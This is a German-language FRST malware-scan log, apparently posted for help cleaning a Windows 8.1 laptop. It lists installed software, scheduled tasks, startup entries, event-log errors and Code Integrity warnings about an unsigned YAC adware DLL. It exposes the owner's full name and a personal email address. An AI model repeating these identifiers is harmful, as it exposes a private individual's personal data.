MegaDownloader 1.7 (HKLM\...\{C12C2297-65A4-4E64-9AE1-29F0D947FDA0}}_is1) (Version: 1.7 - AppsForMega.info)
Microsoft OneDrive (HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\OneDriveSetup.exe) (Version: 17.3.6799.0327 - Microsoft Corporation)
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50906.0 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{071c9b48-7c32-4621-a0ac-3f809523288f}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022.218 (HKLM-x32\...\{E503B4BF-F7BB-3D5F-8BC8-F694B1CFF942}) (Version: 9.0.21022.218 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.23918 (HKLM-x32\...\{dab68466-3a7d-41a8-a5cf-415e3ff8ef71}) (Version: 14.0.23918.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)
Minecraft (HKLM-x32\...\{1C16BCA3-EBC1-49F6-8623-8FBFB9CCC872}) (Version: 1.0.3.0 - Mojang)
Movie Maker (x32 Version: 16.4.3528.0331 - Microsoft Corporation) Hidden
Mozilla Firefox 53.0.3 (x64 de) (HKLM\...\Mozilla Firefox 53.0.3 (x64 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
OpenOffice 4.1.3 (HKLM-x32\...\{8D5FCC56-BB9F-4122-923C-71753F50F6F5}) (Version: 4.13.9783 - Apache Software Foundation)
Samsung USB Driver for Mobile Phones (HKLM\...\{D0795B21-0CDA-4a92-AB9E-6E92D8111E44}) (Version: 1.5.61.0 - Samsung Electronics Co., Ltd.)
Skype™ 7.33 (HKLM-x32\...\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}) (Version: 7.33.105 - Skype Technologies S.A.)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
swMSM (x32 Version: 12.0.0.1 - Adobe Systems, Inc) Hidden
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.77242 - TeamViewer)
VirtualDJ 8 (HKLM-x32\...\{2C513174-818D-4D9E-B88F-3E2872BACA20}) (Version: 8.2.3493.0 - Atomix Productions)
VLC media player (HKLM\...\VLC media player) (Version: 2.2.4 - VideoLAN)
Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 16.4.3528.0331 - Microsoft Corporation)
WinRAR 5.40 (32-Bit) (HKLM-x32\...\WinRAR archiver) (Version: 5.40.0 - win.rar GmbH)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{162C6FB5-44D3-435B-903D-E613FA093FB5}\InprocServer32 -> C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\17.3.6799.0327\amd64\FileCoAuthLib64.dll (Microsoft Corporation)
CustomCLSID: HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{820D63D5-8CFF-46DE-86AF-4997DEDD6DB5}\localserver32 -> C:\Windows\system32\igfxEM.exe (Intel Corporation)

==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {05D48E00-BF2C-4CEB-B7DF-04409233784E} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-03-17] (Google Inc.)
Task: {49A10F24-190A-4ED7-9B48-C3CB6BBBC914} - System32\Tasks\GenericSettingsHandler\Windows-Credentials\RetrySyncTask_for_S-1-5-21-3847841184-804715454-2304624315-1001
Task: {53A67BD4-6351-4805-A436-9353CBFAAAFA} - System32\Tasks\AdobeAAMUpdater-1.0-MicrosoftAccount-wiiu02015@outlook.de => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe
Task: {673824BA-7A3C-41BF-A4DA-9C4F9887830A} - System32\Tasks\Red Giant Link => C:\Program Files\Red Giant Link\Red Giant Link.exe
Task: {9376D540-EE5F-4016-8595-273CB525CC42} - System32\Tasks\Microsoft\Windows\RemovalTools\MRT_HB => C:\Windows\system32\MRT.exe [2017-05-23] (Microsoft Corporation)
Task: {9C8653D0-0863-4F6C-BDC9-E813956ACA92} - System32\Tasks\AVAST Software\Avast settings backup => C:\Program Files\Common Files\AV\avast! Antivirus\backup.exe
Task: {B8732800-4537-42E1-8E92-0D38D2678C49} - System32\Tasks\OneDrive Standalone Update Task v2 => C:\Users\Nick Schuster\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe [2017-05-13] ()
Task: {D4BAA7ED-86EB-4B60-9F30-8E2D64B7D175} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2017-05-09] (Adobe Systems Incorporated)
Task: {DBE77801-9F7F-4CE7-9DE2-FDB39098637C} - System32\Tasks\Adobe Flash Player PPAPI Notifier => C:\Windows\SysWOW64\Macromed\Flash\FlashUtil32_25_0_0_171_pepper.exe [2017-05-09] (Adobe Systems Incorporated)
Task: {F6691563-4A82-4630-97F5-2AD5B410283B} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2017-03-17] (Google Inc.)

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)


==================== Verkn黳fungen =============================

(Die Eintr鋑e k鰊nen gelistet werden, um sie zur點kzusetzen oder zu entfernen.)

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2017-02-27 11:37 - 2016-02-04 12:53 - 00387144 _____ () C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE
2017-06-05 15:57 - 2017-05-31 11:09 - 02270664 _____ () C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\MwacLib.dll
2015-08-09 05:50 - 2016-10-07 00:07 - 00393208 _____ () C:\Windows\system32\igfxTray.exe
2015-12-02 18:58 - 2015-11-16 20:32 - 00919040 _____ () C:\Windows\mod_frst.exe

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service"

==================== Verkn黳fungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt.)


==================== Internet Explorer Vertrauensw黵dig/Eingeschr鋘kt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ===============================

(Wenn ben鰐igt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zur點kzusetzen.)

2016-11-23 18:06 - 2017-06-05 15:51 - 00000832 _____ C:\Windows\system32\Drivers\etc\hosts


==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix f黵 diesen Bereich.)

HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows Photo Viewer\Hintergrundbild der Windows-Fotoanzeige.jpg
DNS Servers: 192.168.0.1 - 192.168.0.2
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Eintr鋑e ==

MSCONFIG\Services: BDESVC => 3
MSCONFIG\Services: BITS => 2
MSCONFIG\Services: DbxSvc => 2
MSCONFIG\Services: KingoSoftService => 2
MSCONFIG\Services: SysLinkMapper => 2
HKLM\...\StartupApproved\Run: => "AdobeAAMUpdater-1.0"
HKLM\...\StartupApproved\Run: => "AirServer64"
HKLM\...\StartupApproved\Run32: => "SunJavaUpdateSched"
HKLM\...\StartupApproved\Run32: => "BlueStacks Agent"
HKLM\...\StartupApproved\Run32: => "Dropbox"
HKLM\...\StartupApproved\Run32: => "KiesTrayAgent"
HKLM\...\StartupApproved\Run32: => "IJNetworkScannerSelectorEX"
HKLM\...\StartupApproved\Run32: => "CanonQuickMenu"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Skype"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Steam"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spotify"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spotify Web Helper"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Spiele Post"

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [{54966FEA-13CB-49D2-9C2A-E9FAF7B69422}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

==================== Wiederherstellungspunkte =========================

28-05-2017 11:43:38 Windows Update
28-05-2017 20:39:08 DirectX wurde installiert
30-05-2017 14:03:51 Removed Samsung Kies
31-05-2017 17:31:09 Removed Vegas Pro 13.0 (64-bit)
01-06-2017 21:49:48 Installed NetAdapterUpdate

==================== Fehlerhafte Ger鋞e im Ger鋞emanager =============

Name:
Description:
Class Guid:
Manufacturer:
Service:
Problem: : The drivers for this device are not installed. (Code 28)
Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.

Name: USB2.0-CRW
Description: USB2.0-CRW
Class Guid:
Manufacturer:
Service:
Problem: : The drivers for this device are not installed. (Code 28)
Resolution: To install the drivers for this device, click "Update Driver", which starts the Hardware Update wizard.


==================== Fehlereintr鋑e in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (06/07/2017 10:59:45 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/07/2017 10:59:39 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0x6a0
Startzeit der fehlerhaften Anwendung: 0x01d2df6c653dc1d8
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: a30bae9b-4b5f-11e7-8426-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/07/2017 10:45:50 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/07/2017 10:45:50 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/07/2017 10:45:50 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/07/2017 10:45:47 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xf80
Startzeit der fehlerhaften Anwendung: 0x01d2df6a74ff552f
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: b2c15643-4b5d-11e7-8426-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/07/2017 10:45:45 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xf40
Startzeit der fehlerhaften Anwendung: 0x01d2df6a7437103b
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: b1fb731a-4b5d-11e7-8426-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/07/2017 10:45:39 AM) (Source: Application Error) (EventID: 1000) (User: )
Description: Name der fehlerhaften Anwendung: LiveComm.exe, Version: 17.5.9600.20911, Zeitstempel: 0x559467ee
Name des fehlerhaften Moduls: msvcr120_app.dll, Version: 12.0.21005.1, Zeitstempel: 0x524f8432
Ausnahmecode: 0xc0000409
Fehleroffset: 0x000000000001ef5f
ID des fehlerhaften Prozesses: 0xbb4
Startzeit der fehlerhaften Anwendung: 0x01d2df6a688ba5db
Pfad der fehlerhaften Anwendung: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe\LiveComm.exe
Pfad des fehlerhaften Moduls: C:\Program Files\WindowsApps\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\msvcr120_app.dll
Berichtskennung: ae088a3f-4b5d-11e7-8426-0071c2420bd3
Vollst鋘diger Name des fehlerhaften Pakets: microsoft.windowscommunicationsapps_17.5.9600.20911_x64__8wekyb3d8bbwe
Anwendungs-ID, die relativ zum fehlerhaften Paket ist: ppleae38af2e007f4358a809ac99a64a67c1

Error: (06/07/2017 10:45:31 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „Microsoft.WindowsAlarms_8wekyb3d8bbwe!App“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.

Error: (06/07/2017 10:38:26 AM) (Source: Microsoft-Windows-Immersive-Shell) (EventID: 5973) (User: RAZERLAP)
Description: Bei der Aktivierung der App „microsoft.windowscommunicationsapps_8wekyb3d8bbwe!ppleae38af2e007f4358a809ac99a64a67c1“ ist folgender Fehler aufgetreten: -2144927141. Weitere Informationen finden Sie im Protokoll „Microsoft-Windows-TWinUI/Betriebsbereit“.


Systemfehler:
=============
Error: (06/07/2017 10:59:40 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/07/2017 10:45:48 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/07/2017 10:45:46 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/07/2017 10:45:45 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "Microsoft.WindowsLive.Mail.AppXj3e9v0xw9sf8t58nqr15tqqb2yq4zsfg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/07/2017 10:45:31 AM) (Source: DCOM) (EventID: 10016) (User: RAZERLAP)
Description: Durch die Berechtigungseinstellungen f黵 "Anwendungsspezifisch" wird dem Benutzer "RAZERLAP\Nick Schuster" (SID: S-1-5-21-3847841184-804715454-2304624315-1001) unter der Adresse "LocalHost (unter Verwendung von LRPC)" keine Berechtigung vom Typ "Lokal Start" f黵 die COM-Serveranwendung mit der CLSID
{7022A3B3-D004-4F52-AF11-E9E987FEE25F}
 und der APPID
{ADA41B3C-C6FD-4A08-8CC1-D6EFDE67BE7D}
 im Anwendungscontainer "Nicht verf黦bar" (SID: Nicht verf黦bar) gew鋒rt. Die Sicherheitsberechtigung kann mit dem Verwaltungstool f黵 Komponentendienste ge鋘dert werden.

Error: (06/07/2017 10:45:26 AM) (Source: DCOM) (EventID: 10010) (User: RAZERLAP)
Description: Der Server "App.AppX2tphb21dp9jkkycchwvscnrxk12cys3z.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden.

Error: (06/07/2017 10:44:03 AM) (Source: Service Control Manager) (EventID: 7001) (User: )
Description: Der Dienst "Windows Media Player-Netzwerkfreigabedienst" ist vom Dienst "Windows Search" abh鋘gig, der aufgrund folgenden Fehlers nicht gestartet wurde:
Der Dienst konnte wegen einer fehlerhaften Anmeldung nicht gestartet werden.

Error: (06/07/2017 10:44:03 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "Windows Search" wurde aufgrund folgenden Fehlers nicht gestartet:
Der Dienst konnte wegen einer fehlerhaften Anmeldung nicht gestartet werden.

Error: (06/07/2017 10:44:03 AM) (Source: Service Control Manager) (EventID: 7038) (User: )
Description: Der Dienst "WSearch" konnte sich nicht als "NT AUTHORITY\SYSTEM" mit dem aktuellen Kennwort aufgrund des folgenden Fehlers anmelden:
Die Anforderung wird nicht unterst黷zt.


Vergewissern Sie sich, dass der Dienst richtig konfiguriert ist im Dienste-Snap-In in der Microsoft Management Console (MMC).

Error: (06/07/2017 10:44:03 AM) (Source: Service Control Manager) (EventID: 7000) (User: )
Description: Der Dienst "Windows Search" wurde aufgrund folgenden Fehlers nicht gestartet:
Der Dienst konnte wegen einer fehlerhaften Anmeldung nicht gestartet werden.


CodeIntegrity:
===================================
  Date: 2017-05-03 18:07:17.434
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 18:06:29.117
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:37:01.065
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:37:00.358
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 17:24:33.560
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-05-03 15:20:35.981
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 16:06:23.178
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.444
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.282
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.

  Date: 2017-03-30 14:48:35.275
  Description: Code Integrity determined that a process (\Device\HarddiskVolume3\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume3\Program Files (x86)\Elex-tech\YAC\iSafeSrvMon64.dll that did not meet the Windows signing level requirements.


==================== Speicherinformationen ===========================

Prozessor: Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz
Prozentuale Nutzung des RAM: 41%
Installierter physikalischer RAM: 4014.84 MB
Verf黦barer physikalischer RAM: 2366.58 MB
Summe virtueller Speicher: 4718.84 MB
Verf黦barer virtueller Speicher: 3155.92 MB

==================== Laufwerke ================================

Drive c: (NexusLap) (Fixed) (Total:869.8 GB) (Free:768.44 GB) NTFS
Drive d: (Recover) (Fixed) (Total:60 GB) (Free:42.31 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (Size: 931.5 GB) (Disk ID: B8E472D2)

Partition: GPT.

==================== Ende von Addition.txt ============================

FRST Logfile:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 05-06-2017
durchgef黨rt von Nick Schuster (Administrator) auf RAZERLAP (07-06-2017 11:10:44)
Gestartet von C:\Users\Nick Schuster\Desktop\anti trojan\killer.exe
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Platform: Windows 8.1 (Update) (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: IE)
Start-Modus: Normal
Anleitung f黵 Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
() C:\Program Files (x86)\Canon\IJPLM\ijplmsvc.exe
(DEVGURU Co., LTD.) C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
() C:\Windows\System32\igfxTray.exe
(Microsoft Corporation) C:\Windows\System32\SkyDrive.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [AirServer64] => C:\Program Files\App Dynamic\AirServer\AirServer.exe
